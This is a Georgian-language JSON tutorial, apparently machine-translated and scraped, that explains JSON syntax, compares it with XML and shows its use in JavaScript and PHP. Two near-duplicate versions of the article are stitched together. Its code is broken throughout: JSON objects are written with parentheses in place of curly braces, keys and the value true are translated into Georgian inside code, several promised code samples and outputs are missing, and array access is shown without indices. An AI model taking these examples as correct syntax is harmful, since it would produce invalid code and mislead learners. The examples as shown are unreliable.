json ენა. JSON: საფუძვლები

რა თქმა უნდა, ოდესმე გსმენიათ JSON-ის შესახებ. Რა არის ეს? რისი გაკეთება შეუძლია მას და როგორ გამოვიყენოთ იგი?

ამ გაკვეთილში ჩვენ განვიხილავთ JSON-ის საფუძვლებს და გავაშუქებთ შემდეგ პუნქტებს:

რა არის JSON?
რისთვის გამოიყენება JSON?
როგორ შევქმნათ JSON სტრიქონი?
JSON სტრიქონის მარტივი მაგალითი.
მოდით შევადაროთ JSON და XML.
როგორ ვიმუშაოთ JSON-თან JavaScript-სა და PHP-ში?

რა არის JSON?

JSON არის მარტივი, ტექსტზე დაფუძნებული გზა სტრუქტურირებული მონაცემების შესანახად და გადასაცემად. მარტივი სინტაქსით, თქვენ შეგიძლიათ მარტივად შეინახოთ ყველაფერი ერთი რიცხვიდან დაწყებული სტრიქონებით, მასივებით და ობიექტებით უბრალო ტექსტში. თქვენ ასევე შეგიძლიათ დააკავშიროთ მასივები და ობიექტები, რათა შექმნათ მონაცემთა რთული სტრუქტურები.

JSON სტრიქონის შექმნის შემდეგ, ადვილია მისი გაგზავნა სხვა აპლიკაციაში ან ქსელის სხვა ადგილას, რადგან ეს არის ჩვეულებრივი ტექსტი.

JSON-ს აქვს შემდეგი უპირატესობები:

კომპაქტურია.
მისი წინადადებები ადვილად წასაკითხი და შედგენილია როგორც ადამიანებისთვის, ასევე კომპიუტერებისთვის.
ის შეიძლება ადვილად გარდაიქმნას მონაცემთა სტრუქტურად პროგრამირების ენების უმეტესობისთვის (რიცხვები, სტრიქონები, ლოგინები, მასივები და ა.შ.)
ბევრ პროგრამირების ენას აქვს ფუნქციები და ბიბლიოთეკები JSON სტრუქტურების წასაკითხად და შესაქმნელად.

სახელი JSON ნიშნავს JavaScript Object Notation-ს. როგორც სახელი გვთავაზობს, ის ეფუძნება ობიექტების განსაზღვრის ხერხს (ისევე, როგორც ასოციაციური მასივების შექმნა სხვა ენებში) და მასივები.

რისთვის გამოიყენება JSON?

JSON-ის ყველაზე გავრცელებული გამოყენება არის სერვერიდან მონაცემების ბრაუზერში გაგზავნა. როგორც წესი, JSON მონაცემები მიწოდებულია AJAX-ის გამოყენებით, რაც საშუალებას აძლევს ბრაუზერსა და სერვერს დაუკავშირდნენ გვერდის გადატვირთვის გარეშე.

მომხმარებელი დააჭერს პროდუქტის მინიატურას ონლაინ მაღაზიაში.

ბრაუზერზე გაშვებული JavaScript წარმოქმნის AJAX მოთხოვნას სერვერზე გაშვებულ PHP სკრიპტზე, რომელიც გადადის არჩეული პროდუქტის ID-ში.

PHP სკრიპტი მონაცემთა ბაზიდან იღებს პროდუქტის სახელს, აღწერას, ფასს და სხვა ინფორმაციას. შემდეგ ის ადგენს JSON სტრიქონს მონაცემებიდან და აგზავნის მას ბრაუზერში.

ბრაუზერზე გაშვებული JavaScript იღებს JSON სტრიქონს, დეკოდირებს მას და უჩვენებს პროდუქტის ინფორმაციას მომხმარებლისთვის გვერდზე.

თქვენ ასევე შეგიძლიათ გამოიყენოთ JSON ბრაუზერიდან სერვერზე მონაცემების გასაგზავნად GET ან POST მოთხოვნებისთვის JSON სტრიქონის პარამეტრად გადაცემით. მაგრამ ეს მეთოდი ნაკლებად გავრცელებულია, რადგან მონაცემთა გადაცემა AJAX მოთხოვნის საშუალებით შეიძლება გამარტივდეს. მაგალითად, პროდუქტის ID შეიძლება იყოს URL-ში, როგორც GET მოთხოვნის ნაწილი.

jQuery ბიბლიოთეკას აქვს რამდენიმე მეთოდი, როგორიცაა getJSON() და parseJSON(), რაც აადვილებს JSON-ის გამოყენებით მონაცემთა მოძიებას AJAX მოთხოვნის მეშვეობით.

როგორ შევქმნათ JSON სტრიქონი?

არსებობს რამდენიმე ძირითადი წესი JSON სტრიქონის შესაქმნელად:

JSON სტრიქონი შეიცავს მნიშვნელობების მასივს ან ობიექტს (სახელის/მნიშვნელობის წყვილების ასოციაციურ მასივს).
მასივიჩასმულია კვადრატულ ფრჩხილებში ([ და ]) და შეიცავს მძიმით გამოყოფილი მნიშვნელობების სიას.
Საგანიჩასმულია ხვეული ფრჩხილებში (( და )) და შეიცავს სახელების/მნიშვნელობების წყვილების მძიმით გამოყოფილ სიას.
სახელი/მნიშვნელობის წყვილიშედგება ორმაგი ბრჭყალებში ჩასმული ველის სახელისგან, რასაც მოჰყვება ორწერტილი (:) და ველის მნიშვნელობა.
მნიშვნელობამასივში ან ობიექტში შეიძლება იყოს:
- რიცხვი (მთელი ან მცურავი წერტილი)
- სტრიქონი (ორმაგი ბრჭყალებით)
- ლოგიკური მნიშვნელობა (true ან false)
- კიდევ ერთი მასივი (ჩართულია კვადრატულ ფრჩხილებში)
- კიდევ ერთი ობიექტი (დახურული ხვეული ბრეკეტებით)
- ნულოვანი მნიშვნელობა

სტრიქონში ორმაგი ბრჭყალების ჩასართავად, თქვენ უნდა გამოიყენოთ უკანა ხაზი: \" . ისევე როგორც პროგრამირების ბევრ ენაში, შეგიძლიათ საკონტროლო სიმბოლოები და თექვსმეტობითი კოდები ჩასვათ სტრიქონში მათ წინ უკუშეჯახებით. იხილეთ JSON ვებსაიტი დეტალებისთვის.

მარტივი JSON სიმებიანი მაგალითი

ქვემოთ მოცემულია JSON ფორმატში შეკვეთის მაგალითი:

( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [ელფოსტა დაცულია]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "ბრძანება დასრულებულია": მართალია )

მოდით შევხედოთ ხაზს დეტალურად:

ჩვენ ვქმნით ობიექტს ხვეული ბრეკეტების გამოყენებით (( და )).
ობიექტს აქვს რამდენიმე სახელი/მნიშვნელობის წყვილი: "orderID": 12345 თვისება სახელით "orderId" და მთელი მნიშვნელობით 12345 "shopperName": "Vanya Ivanov" თვისება სახელწოდებით "shopperName" და სტრიქონის მნიშვნელობა "Vanya Ivanov". " "shopperEmail": " [ელფოსტა დაცულია]"საკუთრება სახელად "shopperEmail" სტრიქონის მნიშვნელობით" [ელფოსტა დაცულია]" "contents": [... ] თვისება სახელად "contents", რომლის მნიშვნელობა არის მასივი "orderCompleted": true თვისება სახელად "orderCompleted" და ლოგიკური მნიშვნელობა true.
"შინაარსი" მასივში არის 2 ობიექტი, რომელიც წარმოადგენს ცალკეულ ელემენტებს შეკვეთაში. თითოეული ობიექტი შეიცავს 3 თვისებას: productID , productName და რაოდენობა .

სხვათა შორის, რადგან JSON დაფუძნებულია JavaScript ობიექტების გამოცხადებაზე, შეგიძლიათ სწრაფად და მარტივად აქციოთ ზემოთ მოყვანილი JSON სტრიქონი JavaScript ობიექტად:

var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [ელფოსტა დაცულია]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true );

JSON-ისა და XML-ის შედარება

მრავალი თვალსაზრისით, თქვენ შეგიძლიათ იფიქროთ JSON, როგორც XML-ის ალტერნატივა, ყოველ შემთხვევაში, ვებ აპლიკაციის სივრცეში. AJAX-ის კონცეფცია თავდაპირველად ეფუძნებოდა XML-ის გამოყენებას სერვერსა და ბრაუზერს შორის მონაცემების გადასატანად. მაგრამ ბოლო წლებში JSON სულ უფრო პოპულარული გახდა AJAX მონაცემების ტრანსპორტირებისთვის.

მიუხედავად იმისა, რომ XML არის დადასტურებული ტექნოლოგია, რომელიც გამოიყენება აპლიკაციების საკმაოდ დიდ რაოდენობაში, JSON-ს აქვს უპირატესობა, რომ არის უფრო კომპაქტური და ადვილად ამოსაცნობი მონაცემთა ფორმატი.

ასე გამოიყურება ზემოთ მოყვანილი მაგალითი XML-ის ობიექტი:

შეკვეთის ID 12345 მყიდველისსახელი ვანია ივანოვი მყიდველიელ.ფოსტა [ელფოსტა დაცულია]შინაარსი productID 34 productName სუპერ პროდუქტის რაოდენობა 1 productID 56 productName Miracle პროდუქტის რაოდენობა 3 შეკვეთა დასრულებული მართალია

XML ვერსია გაცილებით დიდია. სინამდვილეში ის 1128 სიმბოლოა, ხოლო JSON ვერსია მხოლოდ 323 სიმბოლოს შეადგენს. XML ვერსია ასევე საკმაოდ რთული გასაგებია.

რა თქმა უნდა, ეს რადიკალური მაგალითია. და შესაძლებელია უფრო კომპაქტური XML ჩანაწერის შექმნა. მაგრამ ისიც კი მნიშვნელოვნად გრძელი იქნება ვიდრე JSON ექვივალენტი.

JSON სტრიქონთან მუშაობა JavaScript-ში

JSON-ს აქვს მარტივი ფორმატი, მაგრამ JSON სტრიქონის ხელით შექმნა საკმაოდ დამღლელია. გარდა ამისა, ხშირად გჭირდებათ JSON სტრიქონის აღება, მისი შიგთავსის გადაქცევა ცვლადად, რომელიც შეიძლება გამოყენებულ იქნას კოდში.

პროგრამირების ენების უმეტესობას აქვს ინსტრუმენტები ცვლადების JSON სტრიქონებში ადვილად გადასაყვანად და პირიქით.

JSON სტრიქონის შექმნა ცვლადიდან

JavaScript-ს აქვს ჩაშენებული JSON.stringify() მეთოდი, რომელიც იღებს ცვლადს და აბრუნებს JSON სტრიქონს, რომელიც წარმოადგენს მის შინაარსს. მაგალითად, შევქმნათ JavaScript ობიექტი, რომელიც შეიცავს შეკვეთის ინფორმაციას ჩვენი მაგალითიდან და შემდეგ შევქმნათ JSON სტრიქონი მისგან:

ეს კოდი გამოიმუშავებს:

გაითვალისწინეთ, რომ JSON.stringify() მეთოდი აბრუნებს JSON სტრიქონს სივრცეების გარეშე. მისი წაკითხვა უფრო რთულია, მაგრამ უფრო კომპაქტურია ქსელში გადაცემისთვის.

არსებობს რამდენიმე გზა JSON სტრიქონის გასაანალიზებლად JavaScript-ში, მაგრამ ყველაზე უსაფრთხო და საიმედო არის ჩაშენებული JSON.parse() მეთოდის გამოყენება. ის იღებს JSON სტრიქონს და აბრუნებს JavaScript ობიექტს ან მასივს, რომელიც შეიცავს მონაცემებს. Მაგალითად:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [ელფოსტა დაცულია]", \ "შინაარსი": [ \ ( \ "productID": 34, \ "productName": "სუპერ პროდუქტი", \ "რაოდენობა": 1 \), \ ( \ "productID": 56, \ "productName": "სასწაული საქონელი", \" რაოდენობა": 3\ ) \ ], \"შეკვეთა დასრულებულია": მართალია \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

ჩვენ შევქმენით jsonString ცვლადი, რომელიც შეიცავს ჩვენი მაგალითის რიგის JSON სტრიქონს. შემდეგ ამ სტრიქონს გადავცემთ JSON.parse() მეთოდს, რომელიც ქმნის ობიექტს, რომელიც შეიცავს JSON მონაცემებს და ინახავს მას კალათის ცვლადში. რჩება მხოლოდ შემოწმება shopperEmail ობიექტის თვისებებისა და შიგთავსის მასივის productName-ის ჩვენებით.

შედეგად, ჩვენ მივიღებთ შემდეგ გამომავალს:

რეალურ აპლიკაციაში, თქვენი JavaScript კოდი მიიღებს შეკვეთას JSON სტრიქონის სახით AJAX პასუხში სერვერის სკრიპტიდან, გადასცემს სტრიქონს JSON.parse() მეთოდს და შემდეგ გამოიყენებს მონაცემებს მომხმარებლის გვერდზე გამოსატანად.

JSON.stringify() და JSON.parse() აქვთ სხვა შესაძლებლობები, როგორიცაა გამოძახების ფუნქციების გამოყენება გარკვეული მონაცემების პერსონალურად კონვერტაციისთვის. ასეთი ვარიანტები ძალიან სასარგებლოა სხვადასხვა მონაცემების სათანადო JavaScript ობიექტებად გადაქცევისთვის.

JSON სტრიქონთან მუშაობა PHP-ში

PHP-ს, JavaScript-ის მსგავსად, აქვს ჩაშენებული ფუნქციები JSON სტრიქონებთან მუშაობისთვის.

JSON სტრიქონის შექმნა PHP ცვლადიდან

json_encode() ფუნქცია იღებს PHP ცვლადს და აბრუნებს JSON სტრიქონს, რომელიც წარმოადგენს ცვლადის შიგთავსს. აქ არის ჩვენი შეკვეთის მაგალითი, დაწერილი PHP-ში:

ეს კოდი აბრუნებს ზუსტად იგივე JSON სტრიქონს, როგორც JavaScript-ის მაგალითში:

("orderID":12345,"shopperName":"ვანია ივანოვი","shopperEmail":" [ელფოსტა დაცულია]""contents":[("productID":34,"productName":"სუპერ პროდუქტი", "რაოდენობა":1),("productID":56,"productName":"სასწაული პროდუქტი","რაოდენობა": 3)]"ბრძანება დასრულდა":true)

რეალურ აპლიკაციაში, თქვენი PHP სკრიპტი გაგზავნის ამ JSON სტრიქონს, როგორც AJAX პასუხის ნაწილად ბრაუზერში, სადაც JavaScript კოდი JSON.parse() მეთოდის გამოყენებით აანალიზებს მას ცვლადად მომხმარებლის გვერდზე გამოსატანად. .

თქვენ შეგიძლიათ გადასცეთ სხვადასხვა დროშები, როგორც მეორე არგუმენტი json_encode() ფუნქციისთვის. მათი დახმარებით თქვენ შეგიძლიათ შეცვალოთ ცვლადების შინაარსის JSON სტრიქონში კოდირების პრინციპები.

შექმენით ცვლადი JSON სტრიქონიდან

JSON სტრიქონის PHP ცვლადად გადასაყვანად გამოიყენეთ json_decode() მეთოდი. მოდით შევცვალოთ ჩვენი მაგალითი JavaScript-ისთვის JSON.parse() მეთოდით PHP კოდით:

JavaScript-ის მსგავსად, ეს კოდი წარმოქმნის:

[ელფოსტა დაცულია]სასწაული პროდუქტი

ნაგულისხმევად, json_decode() ფუნქცია აბრუნებს JSON ობიექტებს PHP ობიექტებად. არსებობს stdClass კლასის ზოგადი PHP ობიექტები. სწორედ ამიტომ ვიყენებთ ->-ს ზემოთ მოცემულ მაგალითში მოცემული ობიექტის თვისებებზე წვდომისთვის.

თუ გჭირდებათ JSON ობიექტი, როგორც ასოცირებული PHP მასივი, თქვენ უნდა გადასცეთ true, როგორც მეორე არგუმენტი json_decode() ფუნქციას. Მაგალითად:

$cart = json_decode ($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

ეს კოდი გამოიმუშავებს იგივე გამომავალს:

[ელფოსტა დაცულია]სასწაული პროდუქტი

თქვენ ასევე შეგიძლიათ სხვა არგუმენტები გადასცეთ json_decode() ფუნქციას, რათა მიუთითოთ რეკურსიის სიღრმე და როგორ დამუშავდეს დიდი რიცხვები.

დასკვნა

მიუხედავად იმისა, რომ JSON მარტივი გასაგები და გამოსაყენებელია, ის არის ძალიან სასარგებლო და მოქნილი ინსტრუმენტი აპლიკაციებსა და კომპიუტერებს შორის მონაცემების გადასატანად, განსაკუთრებით AJAX-ის გამოყენებისას. თუ თქვენ გეგმავთ AJAX აპლიკაციის შემუშავებას, მაშინ ეჭვგარეშეა, რომ JSON გახდება აუცილებელი ინსტრუმენტი თქვენს სახელოსნოში.

რა არის JSON და რა შეუძლია მას? ამ სტატიაში შეისწავლით თუ როგორ გამოიყენოთ JSON მონაცემებით მარტივად მუშაობისთვის. ჩვენ ასევე განვიხილავთ, თუ როგორ ვიმუშაოთ JSON-თან PHP-ისა და JavaScript-ის გამოყენებით.

თუ თქვენ შექმენით ვებსაიტები ან ზოგადად ვებ აპლიკაციები, დიდი ალბათობით გსმენიათ JSON-ის შესახებ, ყოველ შემთხვევაში, დროებით. მაგრამ კონკრეტულად რას ნიშნავს JSON? რისი გაკეთება შეუძლია ამ მონაცემთა ფორმატს და როგორ შეიძლება მისი გამოყენება?

ამ სტატიაში გავეცნობით json ფორმატთან მუშაობის საფუძვლებს. მივყვებით შემდეგ თემებს:

რა არის JSON ფორმატი?
როგორ შევქმნათ JSON სტრიქონები?
JSON მონაცემების მარტივი მაგალითი
JSON-ის შედარება XML-თან

Დავიწყოთ!

რა არის JSON ფორმატი?

JSON არის მარტივი, ტექსტზე დაფუძნებული გზა სტრუქტურირებული მონაცემების შესანახად და გადასაცემად. მარტივი სინტაქსით, თქვენ შეგიძლიათ მარტივად შეინახოთ როგორც მარტივი რიცხვები და სტრიქონები, ასევე მასივები და ობიექტები ტექსტის გარდა. თქვენ ასევე შეგიძლიათ დააკავშიროთ ობიექტები და მასივები, რაც საშუალებას გაძლევთ შექმნათ მონაცემთა რთული სტრუქტურები.

JSON სტრიქონის შექმნის შემდეგ, ის ადვილად შეიძლება გაიგზავნოს ნებისმიერ აპლიკაციაში ან კომპიუტერში, რადგან ეს მხოლოდ ტექსტია.

JSON-ს ბევრი უპირატესობა აქვს:

კომპაქტურია
ის იკითხება ადამიანისთვის და ადვილად იკითხება კომპიუტერით
ის ადვილად შეიძლება გარდაიქმნას პროგრამულ ფორმატებში: რიცხვითი მნიშვნელობები, სტრიქონები, ლოგიკური ფორმატი, ნულოვანი მნიშვნელობა, მასივები და ასოციაციური მასივები.
თითქმის ყველა პროგრამირების ენას აქვს ფუნქციები, რომლებიც საშუალებას გაძლევთ წაიკითხოთ და შექმნათ json მონაცემთა ფორმატი.

სიტყვასიტყვით, აბრევიატურა JSON ნიშნავს JavaScript Object Notation-ს. როგორც უკვე აღვნიშნეთ, ეს ფორმატი ეფუძნება ობიექტების შექმნას, მსგავსია ასოციაციური მასივების სხვა პროგრამირების ენებში.

რა მიზნებისთვის გამოიყენება JSON?

უპირველეს ყოვლისა, json გამოიყენება მონაცემთა გაცვლისთვის Javascript-სა და სერვერის მხარეს (php) შორის. სხვა სიტყვებით რომ ვთქვათ, ajax ტექნოლოგიისთვის. ეს ძალიან მოსახერხებელია, როდესაც თქვენ გადასცემთ მრავალ ცვლადს ან მთლიან მონაცემთა მასივებს.

აი, როგორ გამოიყურება მაგალითში:

მომხმარებელი დააჭერს მინიატურულ სურათს

JavaScript ამუშავებს ამ მოვლენას და აგზავნის ajax მოთხოვნას PHP სკრიპტზე, გადასცემს სურათის ID-ს.

სერვერზე php იღებს სურათის აღწერას, სურათის სახელს, დიდი სურათის მისამართს და სხვა ინფორმაციას მონაცემთა ბაზიდან. მისი მიღების შემდეგ ის გარდაქმნის მას JSON ფორმატში და აბრუნებს მომხმარებლის გვერდზე.

JavaScript იღებს პასუხს JSON-ის სახით, ამუშავებს მონაცემებს, ქმნის html კოდს და აჩვენებს გაფართოებულ სურათს აღწერილობით და სხვა ინფორმაციით.

ასე ხდება სურათის გაფართოება ბრაუზერში გვერდის გადატვირთვის გარეშე. ეს ძალიან მოსახერხებელია, როდესაც გვჭირდება ნაწილობრივი მონაცემების მიღება, ან სერვერზე მცირე ინფორმაციის გადაცემა.

ყველასათვის საყვარელ jQuery-ს აქვს getJSON() და parseJSON() ფუნქციები, რომლებიც გეხმარებათ ფორმატთან მუშაობა ajax მოთხოვნის მეშვეობით.

როგორ შევქმნათ JSON სტრიქონები?

ქვემოთ მოცემულია JSON სტრიქონების შექმნის ძირითადი წესები:

JSON სტრიქონი შეიცავს როგორც მნიშვნელობების მასივს, ასევე ობიექტს (ასოციაციურ მასივს სახელი/მნიშვნელობის წყვილებით).
მასივი უნდა იყოს შეფუთული კვადრატულ ფრჩხილებში, [ და ] და შეიძლება შეიცავდეს მნიშვნელობების სიას, რომლებიც გამოყოფილია კომით.
ობიექტები შეფუთულია ხვეული მკლავების გამოყენებით, ( და ), და ასევე შეიცავს კომაში გამოყოფილ სახელს/მნიშვნელობის წყვილებს.
სახელი/მნიშვნელობის წყვილები შედგება ველის სახელისგან (ორმაგი ბრჭყალებით), რასაც მოჰყვება ორწერტილი (:), რასაც მოჰყვება ველის მნიშვნელობა.
მნიშვნელობები მასივში ან ობიექტში შეიძლება იყოს:
- რიცხვითი (მთლიანი ან წერტილოვანი წილადი)
- სიმები (შეფუთული ორმაგი ბრჭყალებით)
- ლოგიკური (მართალი ან მცდარი)
- სხვა მასივები (მოხვეული კვადრატულ ფრჩხილებში [ და ])
- სხვა საგნები (ხვეულ მკლავებში გახვეული ( და ))
- ნულოვანი მნიშვნელობა

Მნიშვნელოვანი! თუ მნიშვნელობებში იყენებთ ორმაგ ბრჭყალებს, გაარიდეთ მათ უკანა ხაზით: \". თქვენ ასევე შეგიძლიათ გამოიყენოთ თექვსმეტობითი კოდირებული სიმბოლოები, ისევე როგორც სხვა პროგრამირების ენებში.

JSON მონაცემების მარტივი მაგალითი

შემდეგი მაგალითი გვიჩვენებს, თუ როგორ შეგიძლიათ შეინახოთ მონაცემები ონლაინ მაღაზიის „კალათაში“ JSON ფორმატის გამოყენებით:

("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [ელფოსტა დაცულია]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "ბრძანება დასრულებულია": true )

მოდით დავყოთ ეს მონაცემები ნაწილ-ნაწილ:

დასაწყისში და დასასრულს ვიყენებთ ხვეულ მკლავებს ( და ), რათა ნათლად განვაცხადოთ, რომ ეს არის ობიექტი.

ობიექტის შიგნით გვაქვს რამდენიმე სახელი/მნიშვნელობის წყვილი:

"orderID": 12345 - ველი სახელწოდებით orderId და მნიშვნელობა 12345

"shopperName": "John Smith" - ველი სახელად shopperName და ღირებულება John Smith

"shopperEmail": "johnsmith@ example.com" - წინა ველის მსგავსად, აქ ინახება მყიდველის ელ.წერილი.

"contents": [ ... ] - ველი სახელწოდებით content, რომლის მნიშვნელობა არის მასივი.

"orderCompleted": true - ველი სახელწოდებით orderCompleted, რომლის მნიშვნელობა არის true

შინაარსის მასივის შიგნით გვაქვს ორი ობიექტი, რომელიც აჩვენებს კალათის შიგთავსს. თითოეულ პროდუქტის ობიექტს აქვს სამი თვისება: productID, productName, რაოდენობა.

დაბოლოს, რადგან JSON იდენტურია JavaScript-ის ობიექტებისა, შეგიძლიათ მარტივად აიღოთ ეს მაგალითი და შექმნათ JavaScript ობიექტი მისგან:

var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [ელფოსტა დაცულია]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "ბრძანება დასრულებულია": true );

JSON-ის შედარება XML-თან

უმეტეს შემთხვევაში, თქვენ იფიქრებთ JSON-ზე, როგორც XML-ის ალტერნატივად - ყოველ შემთხვევაში, ვებ აპლიკაციებში. Ajax კონცეფცია თავდაპირველად იყენებს XML-ს სერვერსა და ბრაუზერს შორის მონაცემების გასაცვლისთვის, მაგრამ ბოლო წლებში JSON უფრო პოპულარული გახდა ajax მონაცემების გადასაცემად.

მიუხედავად იმისა, რომ XML არის აპრობირებული ტექნოლოგია, რომელსაც მრავალი აპლიკაცია იყენებს, JSON ფორმატის უპირატესობა ის არის, რომ ის უფრო კომპაქტურია და ადვილია წერა-კითხვა.

აქ არის ზემოთ მოყვანილი JSON მაგალითი, რომელიც მხოლოდ XML ფორმატშია გადაწერილი:

orderID 12345 shopperName John Smith shopperEmail [ელფოსტა დაცულია]შინაარსი productID 34 productName SuperWidget რაოდენობა 1 productID 56 productName WonderWidget რაოდენობა 3 შეკვეთა დასრულებული true

როგორც ხედავთ, ის რამდენჯერმე გრძელია ვიდრე JSON. სინამდვილეში, ეს მაგალითი 1128 სიმბოლოა, ხოლო JSON ვერსია მხოლოდ 323 სიმბოლოს შეადგენს. XML ვერსია ასევე უფრო რთული წასაკითხია.

ბუნებრივია, არ შეიძლება ვიმსჯელოთ მხოლოდ ერთი მაგალითით, მაგრამ მცირე რაოდენობით ინფორმაციაც კი ნაკლებ ადგილს იკავებს JSON ფორმატში, ვიდრე XML-ში.

როგორ ვიმუშაოთ JSON-თან PHP-ით და JS-ით?

ახლა მივედით ყველაზე საინტერესო ნაწილამდე - JSON ფორმატის პრაქტიკულ მხარეზე. ჯერ, მოდით, პატივი მივაგოთ JavaScript-ს, შემდეგ ვნახოთ, როგორ შეგიძლიათ JSON-ის მანიპულირება PHP-ის საშუალებით.

JSON ფორმატის შექმნა და კითხვა JavaScript-ის გამოყენებით

მიუხედავად იმისა, რომ JSON ფორმატი მარტივია, ვებ აპლიკაციების შემუშავებისას ძნელია ხელით წერა. უფრო მეტიც, ხშირად გიწევთ JSON სტრიქონების ცვლადებად გადაქცევა და შემდეგ მათი გამოყენება თქვენს კოდში.

საბედნიეროდ, მრავალი პროგრამირების ენა გთავაზობთ ინსტრუმენტებს JSON სტრიქონებთან მუშაობისთვის. რომლის მთავარი იდეა:

JSON სტრიქონების შესაქმნელად, თქვენ იწყებთ ცვლადებით, რომლებიც შეიცავს გარკვეულ მნიშვნელობას, შემდეგ გადასცემთ მათ ფუნქციის მეშვეობით, რომელიც მონაცემებს აქცევს JSON სტრინგად.

JSON სტრიქონების კითხვას, იწყებთ JSON სტრიქონით, რომელიც შეიცავს გარკვეულ მონაცემებს, გადასცემთ სტრიქონს ფუნქციის მეშვეობით, რომელიც ქმნის მონაცემების შემცველ ცვლადებს.

ვნახოთ, როგორ კეთდება ეს JavaScript-ში.

JSON სტრიქონის შექმნა JavaScript ცვლადიდან

JavaScript-ს აქვს ჩაშენებული მეთოდი JSON.stringify(), რომელიც იღებს javascript ცვლადს და აბრუნებს json სტრიქონს, რომელიც წარმოადგენს ცვლადის შიგთავსს. მაგალითად, გამოვიყენოთ ადრე შექმნილი ობიექტი და გადავიყვანოთ ის JSON სტრიქონად.

აი, რა გამოჩნდება ეკრანზე:

("orderID":12345,"shopperName":"John Smith","shopperEmail":" [ელფოსტა დაცულია]", "შინაარსი":[("productID":34,"productName":"SuperWidget","quantity":1), ("productID":56,"productName":"WonderWidget","quantity":3) ], "ბრძანება დასრულდა":true)

გაითვალისწინეთ, რომ JSON.stringify() გამოაქვს JSON სტრიქონები ინტერვალის გარეშე. ძნელი წასაკითხია, მაგრამ უფრო კომპაქტურია, რაც მნიშვნელოვანია მონაცემების გაგზავნისას.

JavaScript ცვლადის შექმნა JSON სტრიქონიდან

JSON სტრიქონების გარჩევის რამდენიმე გზა არსებობს, ყველაზე მისაღები და უსაფრთხოა JSON.parse() მეთოდის გამოყენება. ის იღებს JSON სტრიქონს და აბრუნებს JavaScript ობიექტს ან მასივს, რომელიც შეიცავს JSON მონაცემებს. აი მაგალითი:

var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [ელფოსტა დაცულია]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \"რაოდენობა": 3\ ) \ ], \"შეკვეთა დასრულებულია": true \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

აქ ჩვენ შევქმენით ცვლადი, jsonString, რომელიც შეიცავს JSON სტრიქონს ადრე მოწოდებული მაგალითებიდან. შემდეგ ჩვენ გადავიტანეთ ეს სტრიქონი JSON.parse()-ში, რათა შევქმნათ JSON მონაცემების შემცველი ობიექტი, რომელიც შენახული იყო კალათის ცვლადში. საბოლოოდ, ჩვენ ვამოწმებთ მონაცემთა ხელმისაწვდომობას და ვაჩვენებთ გარკვეულ ინფორმაციას გაფრთხილების მოდალური ფანჯრის გამოყენებით.

გამოჩნდება შემდეგი ინფორმაცია:

რეალურ ვებ აპლიკაციაში, თქვენს JavaScript-ის კოდმა უნდა მიიღოს JSON სტრიქონი, როგორც პასუხი სერვერისგან (AJAX მოთხოვნის გაგზავნის შემდეგ), შემდეგ გააანალიზოს სტრიქონი და აჩვენოს კალათის შიგთავსი მომხმარებელს.

JSON ფორმატის შექმნა და კითხვა PHP-ის გამოყენებით

PHP-ს, JavaScript-ის მსგავსად, აქვს ფუნქციები, რომლებიც საშუალებას გაძლევთ გადაიყვანოთ ცვლადები JSON ფორმატში და პირიქით. მოდით შევხედოთ მათ.

JSON სტრიქონის შექმნა PHP ცვლადიდან

Json_encode() იღებს PHP ცვლადს და აბრუნებს JSON სტრიქონს, რომელიც წარმოადგენს ცვლადის მონაცემებს. აქ არის ჩვენი მაგალითი PHP-ში დაწერილი „კალათისა“:

ეს კოდი აწარმოებს ზუსტად იგივე შედეგს, როგორც JavaScript-ის მაგალითი - მოქმედი JSON სტრიქონი, რომელიც წარმოადგენს ცვლადების შიგთავსს:

("orderID":12345,"shopperName":"John Smith","shopperEmail":" [ელფოსტა დაცულია]","contents":[("productID":34,"productName":"SuperWidget", "quantity":1),("productID":56,"productName":"WonderWidget","რაოდენობა":3) ]"შეკვეთა დასრულდა":true)

სინამდვილეში, თქვენმა PHP სკრიპტმა უნდა გამოაგზავნოს JSON სტრიქონი, როგორც პასუხი AJAX მოთხოვნაზე, სადაც JavaScript გამოიყენებს JSON.parse() სტრიქონს ცვლადებად გადაქცევისთვის.

json_encode() ფუნქციაში შეგიძლიათ მიუთითოთ დამატებითი პარამეტრები, რომლებიც საშუალებას გაძლევთ გადაიყვანოთ ზოგიერთი სიმბოლო ექვსკუთხედად.

PHP ცვლადის შექმნა JSON სტრიქონიდან

ზემოაღნიშნულის მსგავსად, არსებობს json_decode() ფუნქცია, რომელიც საშუალებას გაძლევთ გაშიფროთ JSON სტრიქონები და მოათავსოთ შინაარსი ცვლადებში.

JavaScript-ის მსგავსად, ეს კოდი გამოვა შემდეგი:

[ელფოსტა დაცულია] WonderWidget

ნაგულისხმევად, json_decode() აბრუნებს JSON ობიექტებს PHP ობიექტებად. ჩვეულებრივი სინტაქსის მსგავსად, ჩვენ ვიყენებთ -> ობიექტის თვისებებზე წვდომისთვის.

თუ მოგვიანებით გსურთ მონაცემების გამოყენება ასოციაციურ მასივად, უბრალოდ გადასცეთ მეორე პარამეტრი json_decode() ფუნქციას. აი მაგალითი:

$cart = json_decode ($jsonString, true); echo $cart["shopperEmail"] . "
"; echo $cart["contents"]["productName"] . "
";

ეს იძლევა იგივე შედეგს:

[ელფოსტა დაცულია] WonderWidget

